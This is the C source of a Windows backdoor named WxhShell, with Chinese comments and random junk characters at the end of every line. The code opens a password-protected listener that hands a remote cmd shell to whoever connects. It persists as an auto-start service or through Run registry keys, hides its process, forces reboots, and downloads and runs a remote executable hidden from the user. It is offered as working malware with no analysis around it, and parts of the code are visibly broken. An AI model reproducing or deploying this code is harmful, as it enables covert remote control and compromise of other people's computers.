    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3F8K F`*  
    if(Boot(SHUTDOWN)) bt"5.nm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jsa;pG=3&  
    else { :(K JLa]  
    closesocket(wsh); 5`6U:MDq  
    ExitThread(0); dbg%n 0h  
    } .:t&LC][  
    break; R_=fH\c;  
    } e F(oHn,  
  // 获取shell NE><(02qW  
  case 's': { ` Nv1sA#C  
    CmdShell(wsh); 5 0dx[v8  
    closesocket(wsh); pQ xv_4  
    ExitThread(0); Ml,in49  
    break; sD9OV6^{?K  
  } g^{a;=  
  // 退出 )m I i.  
  case 'x': { fRwr}n'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XaaR>HljJ  
    CloseIt(wsh); Rw<O%i5/d  
    break; .7+"KP:  
    } 1*f/Y9 Z  
  // 离开 ?jsgBol  
  case 'q': { JF'<""  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PB)vE  
    closesocket(wsh); E_0i9  
    WSACleanup(); &"=O!t2  
    exit(1); / <+F/R'=O  
    break; }&]T0U`@  
        } tlYB'8bJY  
  } ] I5&'#%2  
  } bduHYs+rq  
hb(H-`16  
  // 提示信息 ex.^V sf_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lm*C:e)4A  
} ./<giTR:p  
  } 9 RC:-d;;_  
:|-^et]a8  
  return; B}@CtVWFz  
} F5+!Gb En  
Knp}88DR^j  
// shell模块句柄 ;)vs=DK:)  
int CmdShell(SOCKET sock) YXg^t$  
{ _y:a Pn  
STARTUPINFO si; \okvL2:!  
ZeroMemory(&si,sizeof(si)); Z ?ATWCa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `69xR[f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u~!Pzz3"  
PROCESS_INFORMATION ProcessInfo; \Hu?K\SWs  
char cmdline[]="cmd"; bV:MOj^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,nWZJ&B  
  return 0; of'H]IZ  
} U%KgLg#  
[4-u{Tu  
// 自身启动模式 ;+n25_9  
int StartFromService(void) S-79uo  
{ (\4YBaGd  
typedef struct \*#E4`Y  
{ KcM+ 8W\  
  DWORD ExitStatus; a fB?js6  
  DWORD PebBaseAddress; {DX1/49  
  DWORD AffinityMask; o}Zl/&(  
  DWORD BasePriority; <U}25AR  
  ULONG UniqueProcessId; KssIoP   
  ULONG InheritedFromUniqueProcessId; Pu}PE-b  
}   PROCESS_BASIC_INFORMATION; GPAz#0p  
ig'4DmNC  
PROCNTQSIP NtQueryInformationProcess; JY9hD;`6y  
1#x@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lgC^32y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n*hRlL  
^ lG^.  
  HANDLE             hProcess; ze`qf%  
  PROCESS_BASIC_INFORMATION pbi; scZ'/(b-E  
$oIGlKc:L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iJk/fvi  
  if(NULL == hInst ) return 0; ! 6_tdZ  
%p};Di[V  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T_qh_L3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u73/#!(1=H  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V6b)  
Yt;@ @xe&  
  if (!NtQueryInformationProcess) return 0; mZ.E;X& ,*  
t`0(5v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |RI77b:pX  
  if(!hProcess) return 0; P#2;1ki>  
&_Z8:5e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tmC9p6%  
&uJ7[m19z  
  CloseHandle(hProcess); S4%MnT6Uy  
)Ju$PrO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7P D D  
if(hProcess==NULL) return 0; ^j'vM\^`ml  
ntF#x.1Pm  
HMODULE hMod; 0.!Q 4bhD  
char procName[255]; 5O"wPsl  
unsigned long cbNeeded; _1?Fy u&<5  
mGUl/.;yp-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #J4,mFMr  
Xqas[:)7+  
  CloseHandle(hProcess); LiD-su D  
(ZEDDV2  
if(strstr(procName,"services")) return 1; // 以服务启动 JmVha!<qk  
;%PdSG=U  
  return 0; // 注册表启动 ] I0(_e|z}  
} +isaqfy/  
 \4&FW|mx  
// 主模块 Gp))1b';  
int StartWxhshell(LPSTR lpCmdLine) ?[q.1O  
{ &?7+8n&+  
  SOCKET wsl; [>f4&yY  
BOOL val=TRUE; @0rwvyE=+3  
  int port=0; 3WF6bJN  
  struct sockaddr_in door; _xXDvBU  
hH@pA:`s  
  if(wscfg.ws_autoins) Install(); +yu^Z*_  
|y7#D9m  
port=atoi(lpCmdLine); %LZf= `:(  
evHKq}{  
if(port<=0) port=wscfg.ws_port; wB W]w  
PRF^<%mkI  
  WSADATA data; ~ TALpd  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "G!V?~;  
:#p!&Fi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tL@m5M%:N2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N @sVA%L.  
  door.sin_family = AF_INET; -%)8=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K\>CXa  
  door.sin_port = htons(port); ic|>JX$G  
} g[(h=Qi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NYZI;P1DA  
closesocket(wsl); 8fs::}0  
return 1; %+Khj@aX  
} 4U1"F 7'  
{piZm12q?  
  if(listen(wsl,2) == INVALID_SOCKET) { kzb1iBe 6m  
closesocket(wsl); iG;GAw|E  
return 1; Xa32p_|5~  
} @Y2&v956  
  Wxhshell(wsl); ] Q\/si&  
  WSACleanup(); ?{I]!gI  
zbL6TP@=  
return 0; t^1c^RpTb  
Cdd +I5~  
} 5%6r,?/7KM  
lGP'OY"Q  
// 以NT服务方式启动 2*1s(Jro  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~2*8pb 4  
{ gT6@0ANq  
DWORD   status = 0; .EUOKPK4W  
  DWORD   specificError = 0xfffffff; YG6Kvc6T  
(eAh8^)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UZ+FV;<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bx32pY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JMq00_  
  serviceStatus.dwWin32ExitCode     = 0; Px))O&w{  
  serviceStatus.dwServiceSpecificExitCode = 0; A">A@`}  
  serviceStatus.dwCheckPoint       = 0; -!]dU`:(X  
  serviceStatus.dwWaitHint       = 0; nY<hfqof  
(S#4y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?(CMm%(8  
  if (hServiceStatusHandle==0) return; 3#H x^H  
@rVBL<!o,  
status = GetLastError(); S?_ ;$Cn  
  if (status!=NO_ERROR) 3QrYH @7zx  
{ X pd^^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ii@O&g  
    serviceStatus.dwCheckPoint       = 0; DOm5azO!>  
    serviceStatus.dwWaitHint       = 0; TBYRY)~f  
    serviceStatus.dwWin32ExitCode     = status; ]OOL4=b  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0oi =}lV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \'40u|f  
    return; 6 4da~SEn  
  } j@b4)t  
ctL@&~*nY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NwdA@"YQ|  
  serviceStatus.dwCheckPoint       = 0; 8PV`4=,OI  
  serviceStatus.dwWaitHint       = 0; <99Xg_e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3J{`]v5`  
} 5E/z.5 q  
`MtPua\_  
// 处理NT服务事件,比如:启动、停止 O`hOVHD Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jo4*,B1x  
{ _KkLH\1g$  
switch(fdwControl) V4OhdcW{  
{ /*bS~7f1  
case SERVICE_CONTROL_STOP: ?Q]{d'g(sx  
  serviceStatus.dwWin32ExitCode = 0; j[h4F"`-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; r^k:$wJbRK  
  serviceStatus.dwCheckPoint   = 0; 5Qik{cWxBq  
  serviceStatus.dwWaitHint     = 0; NVMhbpX6  
  { Z?5kO-[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \S@;>A<J  
  } '%`W y@  
  return; D/Y.'P:j  
case SERVICE_CONTROL_PAUSE: .sA?}H#wb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -zd*tujx  
  break; ,"u-V<>6O  
case SERVICE_CONTROL_CONTINUE: gHC -Y 0_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  wNW9xmS  
  break; \dbjh{  
case SERVICE_CONTROL_INTERROGATE: @l^=&53T  
  break; u5 EHzoq  
}; 4cql?W(D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?s("@dz_  
} d"|XN{  
oO|zRK1;/  
// 标准应用程序主函数 gaC^<\J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _1`*&k JL~  
{ Z2WAVSw  
HZdmL-1Z^+  
// 获取操作系统版本 N(@'L43$V  
OsIsNt=GetOsVer(); Dm6}$v'0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tqE LF  
Dqe/n_Z  
  // 从命令行安装 W$0<a@  
  if(strpbrk(lpCmdLine,"iI")) Install(); fi%u]  
6v0^'}  
  // 下载执行文件 o)7gKWjujP  
if(wscfg.ws_downexe) { -tSWYp{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (KHTgZ6  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9/MUzt  
} `av8|;  
8ltHR]v  
if(!OsIsNt) { AyKaazm]9  
// 如果时win9x,隐藏进程并且设置为注册表启动 #{GUu ',?&  
HideProc(); jBV2]..  
StartWxhshell(lpCmdLine); uRQm.8b  
} U%ce0z  
else U6 "U^  
  if(StartFromService()) c@:r\]  
  // 以服务方式启动 LF0gy3  
  StartServiceCtrlDispatcher(DispatchTable); sD.bBz  
else I-i)D  
  // 普通方式启动 })Rmu."\  
  StartWxhshell(lpCmdLine); I;L $Nf{v  
bh?Vufd%)  
return 0; uYS?# g  
} b1jh2pG(V  
LKG],1n-  
Rs:<'A  
G.O0*E2V  
=========================================== 0,(U_+ n  
-@G |i$!  
wYhWRgP  
y>u+.z a|  
gy _86y@  
8<k0j&~J  
" Bm%:Qc*  
/g712\?M4  
#include <stdio.h> rSB"0 W7  
#include <string.h> Ywt_h;:  
#include <windows.h> 8UoMOeI3  
#include <winsock2.h> cn=~}T@~Z  
#include <winsvc.h> XZA3T Z  
#include <urlmon.h> fSl+;|K n  
>\8Bu#&s4  
#pragma comment (lib, "Ws2_32.lib") Vf*!m~]Vqi  
#pragma comment (lib, "urlmon.lib") y%=\E  
:N%cIxrqP  
#define MAX_USER   100 // 最大客户端连接数 /H@k;o  
#define BUF_SOCK   200 // sock buffer 6!/e_a  
#define KEY_BUFF   255 // 输入 buffer ,v$gQU2  
}+QgRGQ  
#define REBOOT     0   // 重启 /]T#@>('  
#define SHUTDOWN   1   // 关机 Xcicqywe?  
{Zjnf6d]  
#define DEF_PORT   5000 // 监听端口 |v}"UW(y  
X^?<, Y)1.  
#define REG_LEN     16   // 注册表键长度 8^$}!9B~JZ  
#define SVC_LEN     80   // NT服务名长度 WYwsTsG{_  
`Qv7aY  
// 从dll定义API lKI1bs]i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vyERt^z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d37l/I  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]~87v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Us M|OH5k  
D<#+ R"  
// wxhshell配置信息 w]UYD;f  
struct WSCFG { 3ZU`}  
  int ws_port;         // 监听端口 \S}&QV  
  char ws_passstr[REG_LEN]; // 口令 &m`1lxT  
  int ws_autoins;       // 安装标记, 1=yes 0=no vML01SAi  
  char ws_regname[REG_LEN]; // 注册表键名 ,2[laJ  
  char ws_svcname[REG_LEN]; // 服务名 u1ggLH!U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  e1S |&W8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vX)JJ|g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4/S 4bk*8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7h<Q{X<A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LSNa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %U)/>Z  
$91c9z;f^  
}; 7NMQUN7k '  
2K!3+D"  
// default Wxhshell configuration 5Qo\0YH  
struct WSCFG wscfg={DEF_PORT, ~LuZ pV  
    "xuhuanlingzhe", $f*N  
    1, ln'7kg  
    "Wxhshell",  ]P(:z  
    "Wxhshell", 3) zanoYHi  
            "WxhShell Service", ^u:7U4  
    "Wrsky Windows CmdShell Service", A0cC)bd&  
    "Please Input Your Password: ", X + *@  
  1, 26yv w  
  "http://www.wrsky.com/wxhshell.exe", '73dsOTIT  
  "Wxhshell.exe" J8J~$DU\Gv  
    }; i RS )Z )  
?zQ\u{]=  
// 消息定义模块 c\-5vw||b  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; syA*!Up  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]=2Ba<)m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b~Op1p  
char *msg_ws_ext="\n\rExit."; f`.8.1Rd  
char *msg_ws_end="\n\rQuit."; O>w Gc8Of\  
char *msg_ws_boot="\n\rReboot..."; `ndesP  
char *msg_ws_poff="\n\rShutdown..."; ~+A?!f;-J  
char *msg_ws_down="\n\rSave to "; x %L2eXL  
1<fS&)^W  
char *msg_ws_err="\n\rErr!"; y!6B Gz  
char *msg_ws_ok="\n\rOK!"; ANc)igo  
kTAb <  
char ExeFile[MAX_PATH]; d `>M-:dF  
int nUser = 0; UQaLhK v:  
HANDLE handles[MAX_USER]; ~urIA/  
int OsIsNt; 2#kR1rJP  
dd@^e)VZB  
SERVICE_STATUS       serviceStatus; 93XTumpV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &v Lz{  
,icgne1j  
// 函数声明 mFjX  
int Install(void); ,fpu@@2  
int Uninstall(void); e ,/I}W  
int DownloadFile(char *sURL, SOCKET wsh); u&/q7EBfP  
int Boot(int flag); m beM/  
void HideProc(void); 4{(uw  
int GetOsVer(void); X,IjM&o"Y  
int Wxhshell(SOCKET wsl); 4!i`9w$$"  
void TalkWithClient(void *cs); u01 'f-h  
int CmdShell(SOCKET sock); sD7Qt  
int StartFromService(void); ;3U-ghj  
int StartWxhshell(LPSTR lpCmdLine); & 1p\.Y  
UZi^ &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gYA|JFi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &8_]omuNV  
=SB#rCH  
// 数据结构和表定义 7"2L|fG  
SERVICE_TABLE_ENTRY DispatchTable[] = 8B JxD<  
{ 8V>j-C  
{wscfg.ws_svcname, NTServiceMain}, .mn`/4  
{NULL, NULL} NKvBNf|D  
}; dFS>uIT7X  
+(x^5~QX  
// 自我安装 O%H_._#N`  
int Install(void) l9lBhltOH  
{ 1"?KQU  
  char svExeFile[MAX_PATH]; x9Fga_  
  HKEY key; g34<0%6jd  
  strcpy(svExeFile,ExeFile); klxVsx%I{G  
PEac0rSW  
// 如果是win9x系统,修改注册表设为自启动 nT..+ J)  
if(!OsIsNt) { 9W:oo:dK F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _T&?H&#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J0*hJ-/u  
  RegCloseKey(key); iZ<^p1i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "CLoM\M)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ym9Z:2g  
  RegCloseKey(key); Ve*NM|jg  
  return 0; E0!}~Z)  
    } CL.JalR`b  
  } K#rfQ0QK/!  
} OSQZ5:g|  
else { S<rdPS*P  
au@ LQxKQ  
// 如果是NT以上系统,安装为系统服务 ,;)Y 1q}Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }l~|c{WH`  
if (schSCManager!=0) L^i=RGx  
{ Nz_c]3_j  
  SC_HANDLE schService = CreateService +~?ze,Di  
  ( N+ZDQa[  
  schSCManager, )uC],CbW{  
  wscfg.ws_svcname, #qrZ(,I@n  
  wscfg.ws_svcdisp, 6!dbJ5x1  
  SERVICE_ALL_ACCESS, k!3X4;F!_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |t+M/C0y/  
  SERVICE_AUTO_START, g6{.C7m  
  SERVICE_ERROR_NORMAL, . <`i!Ls  
  svExeFile, ZQXv-"  
  NULL, u?5 d%]*  
  NULL, R''nZ/R  
  NULL, S-}MS"  
  NULL, fOJ 0#^Z  
  NULL zs e<b/G1G  
  ); >J[Bf9)>  
  if (schService!=0) |I-;CoAg  
  { ~qt)r_jW  
  CloseServiceHandle(schService); 3:@2gp!tq  
  CloseServiceHandle(schSCManager); {*,~,iq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "X0"=1R~  
  strcat(svExeFile,wscfg.ws_svcname); Oo |*q+{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w F6ywr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v,y nz'>)  
  RegCloseKey(key); 2+zE|I.  
  return 0; ^!^6 |[  
    } BZq_om6  
  } 0T7(c-  
  CloseServiceHandle(schSCManager); ! Ob  
} %a=K:" oU[  
} >}Qj|05G  
 Ec IgX_\  
return 1; 9pUvw_9MY  
} A]ZCQ49  
QA>(}u\+  
// 自我卸载 qzS 9ls>>  
int Uninstall(void) M4 SJnE  
{ Cw42bO  
  HKEY key; 7 K.&zn  
J!5BH2bg  
if(!OsIsNt) { U/F<r3.`#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _OV\W'RrA  
  RegDeleteValue(key,wscfg.ws_regname); w}No ^.I*4  
  RegCloseKey(key); u$ C@0d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FdEzt  
  RegDeleteValue(key,wscfg.ws_regname); Atsi}zTR\  
  RegCloseKey(key); jXA!9_L7  
  return 0; W9n0Jv  
  } gw~ %jD-2  
} bHVAa#  
} (uW/t1  
else { qcMVY\gi  
i;Cs,Esnf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pm$2*!1F(  
if (schSCManager!=0) L08>9tf`  
{ Y$xO&\&)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); V ij P;  
  if (schService!=0) ?#; oqH<  
  { ^2f'I iE  
  if(DeleteService(schService)!=0) { x{4Rm,Dxn  
  CloseServiceHandle(schService); GslUN% UJr  
  CloseServiceHandle(schSCManager); HDQhXw!!hc  
  return 0; T'\B17 :*  
  } !OWPwBm;  
  CloseServiceHandle(schService); 'F%4[3a$\n  
  } r>73IpJI  
  CloseServiceHandle(schSCManager); #p& &w1  
} !Ic;;<  
} 4;"^1 $  
r_C|gfIP  
return 1; 0\v98g<[+  
} )006\W|t9  
1Vq]4_09g1  
// 从指定url下载文件 lOIBX@K E  
int DownloadFile(char *sURL, SOCKET wsh) mr:;Wwd  
{ Yhdt"@;..  
  HRESULT hr; Q#C;4)e  
char seps[]= "/"; _y#omEx  
char *token; r~cmrLQa  
char *file; H`u8}{7  
char myURL[MAX_PATH]; ,M2u (9  
char myFILE[MAX_PATH]; A4LGF  
Z$ qFjWp  
strcpy(myURL,sURL); 3t<XbHF9  
  token=strtok(myURL,seps); U'^AJ2L8  
  while(token!=NULL) +5J"G/f  
  { 'J^ M`/  
    file=token; $r`K4g  
  token=strtok(NULL,seps); h(}$-'g  
  } dWHl<BUm  
v|5:;,I  
GetCurrentDirectory(MAX_PATH,myFILE); \zj _6Os  
strcat(myFILE, "\\"); s_]p6M  
strcat(myFILE, file); $=dp)  
  send(wsh,myFILE,strlen(myFILE),0); V]b1cDx{  
send(wsh,"...",3,0); &<I*;z6%t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DxjD/? R8  
  if(hr==S_OK) JQ{ g' cT  
return 0; ,w~0U  
else HI/]s^aL  
return 1; R=M"g|U6  
0kN;SSX!  
} JA W}]:jC  
49f- u  
// 系统电源模块 #Mo`l/Cwp  
int Boot(int flag) n8(B%KF  
{ p7(Pymkd  
  HANDLE hToken; '\%c"?  
  TOKEN_PRIVILEGES tkp; ;t!n%SnK9!  
,h21 h?6  
  if(OsIsNt) { ' Cy^G;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /lAB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?pgdj|"a  
    tkp.PrivilegeCount = 1; w:Ui_-4*>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5,=Yi$x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TR!^wB<F  
if(flag==REBOOT) { <>aBmJs4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5 e:Urv77  
  return 0; )6|7L)Dk  
} `(A6uakd  
else { =PHl|^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X! 5N2x  
  return 0; b i^h&H  
} ;/i"W   
  } vQrce&  
  else { Ta#vD_QP  
if(flag==REBOOT) { u#5/s8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) FFXDt"i2  
  return 0; .0]4@'  
} wUzQ`h2  
else { "%~\kJ(G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v+-f pl&  
  return 0; U$a Eby.  
} SsA;T5:6  
} G yZYP\'S+  
\~xI#S@  
return 1; kg[u@LgvoN  
} Ke[doQ#c  
.(o]d{ '-}  
// win9x进程隐藏模块 T!$7:% D  
void HideProc(void) zb9^ii$g  
{ jB }O6u[%  
&d`T~fl|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0 eZfHW&  
  if ( hKernel != NULL ) @k~?h=o\b  
  { XfA3Ez,}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >yvP[$]!6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !mFo:nQ)}  
    FreeLibrary(hKernel); f uojf+i  
  } ja$>>5<q  
r`u}n  
return; rUfW0  
} 3{_AzL  
:1u>T3L.z  
// 获取操作系统版本 j&E4|g (  
int GetOsVer(void) 5@c,iU-L  
{ zi:F/TlUC  
  OSVERSIONINFO winfo; bb;fV  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cus=UzL  
  GetVersionEx(&winfo); =/=x"q+X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5A1oZ+C#  
  return 1; Rs B o\#`  
  else EQPZV K/  
  return 0;  iU^ 4a  
} O;M_?^'W  
#oMbE<//"  
// 客户端句柄模块 992;~lBu  
int Wxhshell(SOCKET wsl) aKs!*uo0H  
{ FtN1ZZ"<*  
  SOCKET wsh; []Cvma 1\  
  struct sockaddr_in client; 6h>8^l  
  DWORD myID; \Ekez~k{`  
Qu]0BVIe  
  while(nUser<MAX_USER) 43rM?_72  
{ "FQh^+  
  int nSize=sizeof(client); @_YEK3l]l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zF /}s_><*  
  if(wsh==INVALID_SOCKET) return 1; [i[G" %Q  
*lv)9L+0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @RotJl/>  
if(handles[nUser]==0) O;[PEV ~  
  closesocket(wsh); BEvSX|M>x  
else n? "ti  
  nUser++; .G+}Kn9!  
  } ~l!(I-'?g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $m/-E#I #Z  
U[d/ `  
  return 0; L1BpkB  
} ]6OrL TmP  
e<5+&Cj  
// 关闭 socket N&NOh|YS  
void CloseIt(SOCKET wsh) V2es.I  
{ :{4G= UbAI  
closesocket(wsh); 6bnAVTL5  
nUser--; ..FUg"sSO  
ExitThread(0); IZ')1  
} "b%hAdR  
2a.NWJS  
// 客户端请求句柄 pALB[;9g  
void TalkWithClient(void *cs) )xQxc.  
{ ,-  ]2s_  
c Yx=8~-  
  SOCKET wsh=(SOCKET)cs; ZJ"*A+IJx[  
  char pwd[SVC_LEN]; fLI@;*hL0  
  char cmd[KEY_BUFF]; ;KQ'/nII  
char chr[1]; 2BH>TmS  
int i,j; a2/r$Tgm  
9?D7"P+  
  while (nUser < MAX_USER) { s cR-|GuZ  
X1<)B]y  
if(wscfg.ws_passstr) { js`zQx'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JmNeqpbB`w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @usQ*k  
  //ZeroMemory(pwd,KEY_BUFF); +azPpGZ=  
      i=0; PB>p"[ap4  
  while(i<SVC_LEN) { W/oRt<:E  
N(vbo  
  // 设置超时 OpxVy _5,  
  fd_set FdRead; yD1*^~loJ  
  struct timeval TimeOut; 2DQ'h}BI  
  FD_ZERO(&FdRead); yE9JMi 0  
  FD_SET(wsh,&FdRead); 6(9Ta'ywZ  
  TimeOut.tv_sec=8; lk.Q6saI1  
  TimeOut.tv_usec=0; F/j=rs,*|D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @PwEom`a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ("/*k  
$ O}gl Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1\YX|  
  pwd=chr[0]; v{ C]\8  
  if(chr[0]==0xd || chr[0]==0xa) { :^%s oEi  
  pwd=0; I-/PzL<W P  
  break; y=h2_jt  
  } ^e@c Ozt  
  i++; 6$PfX.Fh  
    } OD\x1,E)I  
CyG@  
  // 如果是非法用户,关闭 socket w**.8]A"N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >qtB27jV  
} `m2F.^qrr  
DDAqgx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $#R.+B  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W\eB   
w2{k0MW  
while(1) { /2'\ya4B  
nr&G4t+%Hv  
  ZeroMemory(cmd,KEY_BUFF); z*yN*M6t  
u"T5m  
      // 自动支持客户端 telnet标准   ls*^ 3^O  
  j=0; @TgCI`E   
  while(j<KEY_BUFF) { @Jm$<E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); twgU ru  
  cmd[j]=chr[0]; 0?p_|X'_  
  if(chr[0]==0xa || chr[0]==0xd) { Y2<#%@%4  
  cmd[j]=0; ULU ]k#  
  break; #S<>+,Lk  
  } }GkEv}~t  
  j++; nWXI*%m5  
    } :Hd?0eZ|  
sK?[ 1BI  
  // 下载文件 ?rBj{]=  
  if(strstr(cmd,"http://")) { 8(3vNuyP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1&jX~'  
  if(DownloadFile(cmd,wsh)) 44%::Oh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >5^Z'!Z"  
  else [*}[W6 3v  
